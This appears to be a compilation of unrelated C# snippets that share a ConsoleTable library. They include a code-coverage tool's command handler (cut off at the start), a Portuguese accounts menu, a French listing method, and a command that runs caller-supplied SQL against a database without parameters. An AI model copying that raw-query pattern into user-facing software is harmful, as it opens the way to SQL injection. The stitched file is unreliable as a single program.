assembly specified."); } if (!target.HasValue()) { throw new CommandParsingException(app, "Target must be specified."); } if (verbosity.HasValue()) { // Adjust log level based on user input. logger.Level = verbosity.ParsedValue; } Coverage coverage = new Coverage(module.Value, includeFilters.Values.ToArray(), includeDirectories.Values.ToArray(), excludeFilters.Values.ToArray(), excludedSourceFiles.Values.ToArray(), excludeAttributes.Values.ToArray(), includeTestAssembly.HasValue(), singleHit.HasValue(), mergeWith.Value(), useSourceLink.HasValue(), logger, (IInstrumentationHelper)DependencyInjection.Current.GetService(typeof(IInstrumentationHelper))); coverage.PrepareModules(); Process process = new Process(); process.StartInfo.FileName = target.Value(); process.StartInfo.Arguments = targs.HasValue() ? targs.Value() : string.Empty; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.OutputDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogInformation(eventArgs.Data, important: true); } }; process.ErrorDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogError(eventArgs.Data); } }; process.Start(); process.BeginErrorReadLine(); process.BeginOutputReadLine(); process.WaitForExit(); var dOutput = output.HasValue() ? output.Value() : Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar.ToString(); var dThreshold = threshold.HasValue() ? double.Parse(threshold.Value()) : 0; var dThresholdTypes = thresholdTypes.HasValue() ? thresholdTypes.Values : new List <string>(new string[] { "line", "branch", "method" }); var dThresholdStat = thresholdStat.HasValue() ? Enum.Parse <ThresholdStatistic>(thresholdStat.Value(), true) : Enum.Parse <ThresholdStatistic>("minimum", true); logger.LogInformation("\nCalculating coverage result..."); var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(dOutput); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } foreach (var format in (formats.HasValue() ? formats.Values : new List <string>(new string[] { "json" }))) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console logger.LogInformation(" Outputting results to console", important: true); logger.LogInformation(reporter.Report(result), important: true); } else { // Output to file var filename = Path.GetFileName(dOutput); filename = (filename == string.Empty) ? $"coverage.{reporter.Extension}" : filename; filename = Path.HasExtension(filename) ? filename : $"{filename}.{reporter.Extension}"; var report = Path.Combine(directory, filename); logger.LogInformation($" Generating report '{report}'", important: true); File.WriteAllText(report, reporter.Report(result)); } } var thresholdTypeFlags = ThresholdTypeFlags.None; foreach (var thresholdType in dThresholdTypes) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Line; } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Branch; } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Method; } } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); int numModules = result.Modules.Count; var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var _module in result.Modules) { var linePercent = summary.CalculateLineCoverage(_module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(_module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(_module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(_module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } logger.LogInformation(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); logger.LogInformation(coverageTable.ToStringAlternative()); if (process.ExitCode > 0) { exitCode += (int)CommandExitCodes.TestFailed; } thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, dThreshold, thresholdTypeFlags, dThresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { exitCode += (int)CommandExitCodes.CoverageBelowThreshold; var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} line coverage is below the specified {dThreshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} branch coverage is below the specified {dThreshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {dThresholdStat.ToString().ToLower()} method coverage is below the specified {dThreshold}"); } throw new Exception(exceptionMessageBuilder.ToString()); } return(exitCode); }); try { return(app.Execute(args)); } catch (CommandParsingException ex) { logger.LogError(ex.Message); app.ShowHelp(); return((int)CommandExitCodes.CommandParsingException); } catch (Win32Exception we) when(we.Source == "System.Diagnostics.Process") { logger.LogError($"Start process '{target.Value()}' failed with '{we.Message}'"); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } catch (Exception ex) { logger.LogError(ex.Message); return(exitCode > 0 ? exitCode : (int)CommandExitCodes.Exception); } }
static void Main(string[] args) { Program p = new Program(); int opcao; do { Uteis.MontaMenu(); opcao = Convert.ToInt32(Console.ReadLine()); if (opcao < 1 || opcao > 6) { Console.Clear(); Console.BackgroundColor = ConsoleColor.Red; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA OPÇÃO VALIDA", 'X', 30); Console.ResetColor(); } else { Console.Clear(); switch (opcao) { case 1: Uteis.MontaHeader("LISTAGEM DE CONTAS"); p.contas = new List <Conta>(); p.contas = p.conta.ListarTodos(); ListarContas(); Console.ReadLine(); Console.Clear(); break; case 2: Uteis.MontaHeader("NOVA CONTA"); CadastrarConta(); Console.ReadLine(); Console.Clear(); break; case 3: Console.WriteLine("Editar"); break; case 4: Console.WriteLine("Excluir"); break; case 5: Uteis.MontaHeader("RELATÓRIO"); GerarRelatorio(); Console.ReadLine(); Console.Clear(); break; } } } while (opcao != 6); void GerarRelatorio() { Console.Write("Digite a data inicial: "); DateTime dataInicial = Convert.ToDateTime(Console.ReadLine()); Console.Write("Digite a data final: "); DateTime dataFinal = Convert.ToDateTime(Console.ReadLine()); p.contas = new List <Conta>(); p.contas = p.conta.ListarTodos(dataInicial, dataFinal); ListarContas(); } void ListarContas() { ConsoleTable table = new ConsoleTable("Id", "Descrição", "Tipo", "Valor", "Data Vencimento"); foreach (var cont in p.contas) { table.AddRow(cont.Id, cont.Descricao, cont.Tipo.Equals('R') ? "Receber" : "Pagar", cont.Valor, cont.DataVencimento); } table.Write(); } void ListarCategorias() { ConsoleTable tableCategorias = new ConsoleTable("Id", "Nome"); foreach (var cat in p.categorias) { tableCategorias.AddRow(cat.Id, cat.Nome); } tableCategorias.Write(); } void CadastrarConta() { var descricaoConta = ""; do { Console.Write("Informe a descrição da conta: "); descricaoConta = Console.ReadLine(); if (descricaoConta != null && descricaoConta.Equals("")) { Console.BackgroundColor = ConsoleColor.Red; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA DESCRIÇÃO VALIDA", 'X', 30); Console.ResetColor(); } } while (descricaoConta.Equals("")); Console.Write("Informe o valor da conta: "); double valorConta = Convert.ToDouble(Console.ReadLine()); Console.Write("Informe a data de vencimento da conta (dd/mm/aaaa): "); DateTime dataVencimentoConta = Convert.ToDateTime(Console.ReadLine()); Console.Write("Informe o tipo (R para Receber e P para pagar)"); char tipoConta = Convert.ToChar(Console.ReadLine()); Console.WriteLine("Selecione a categoria da conta"); p.categorias = new List <Categoria>(); p.categorias = p.categoria.ListarTodos(); ListarCategorias(); Console.Write("Informe o código da categoria desejada:"); int categoriaConta = Convert.ToInt32(Console.ReadLine()); Categoria categoriaCadastro = p.categoria.GetCategoria(categoriaConta); Conta conta = new Conta() { Categoria = categoriaCadastro, DataVencimento = dataVencimentoConta, Descricao = descricaoConta, Valor = valorConta, Tipo = tipoConta }; p.conta.Salvar(conta); Console.BackgroundColor = ConsoleColor.DarkGreen; Console.ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("CADASTRO REALIZADO COM SUCESSO", 'X', 30); Console.ResetColor(); } }
private void AfficherPays() { var pays = Contexte.GetPaysFournisseur(); ConsoleTable.From(pays, "Pays").Display("pays"); }
private ConsoleTable FileTable() { var table = new ConsoleTable(4); return(table); }
public override CmdResult Execute() { if (string.IsNullOrWhiteSpace(Query)) { return CmdResult.Failure("Query is null or empty"); } try { //Fix bug that EEM will cut sting at the equal sign Query = Query.Replace("#", "="); var result = new StringBuilder(); using (var con = new SqlConnection(ConfigUtil.GetAppDBConnStr(DB))) { using (var cmd = con.CreateCommand()) { con.Open(); cmd.CommandText = Query; var reader = cmd.ExecuteReader(); DataTable dt = new DataTable(); dt.Load(reader); if (dt.Rows.Count == 0) { return CmdResult.Failure("Query return no data"); } result.AppendLine("Query Result " +Limit +"/"+ dt.Rows.Count); var ct = new ConsoleTable(); var _ctCol = new List<string>(); foreach (var column in dt.Columns) { _ctCol.Add(column.ToString()); } ct.AddColumn(_ctCol); foreach (DataRow dataRow in dt.Rows) { if (Limit-- <= 0) { break; } ct.AddRow(dataRow.ItemArray); } result.AppendLine(ct.ToString()); result.AppendLine("==================================="); result.AppendLine(Query); result.AppendLine("==================================="); return CmdResult.Success(result.ToString()); } } } catch (Exception ex) { _logger.LogError("Exception while running DumpDBCommand: {0}, {1}", ex.Message, Query); return CmdResult.Failure(ex.Message); } }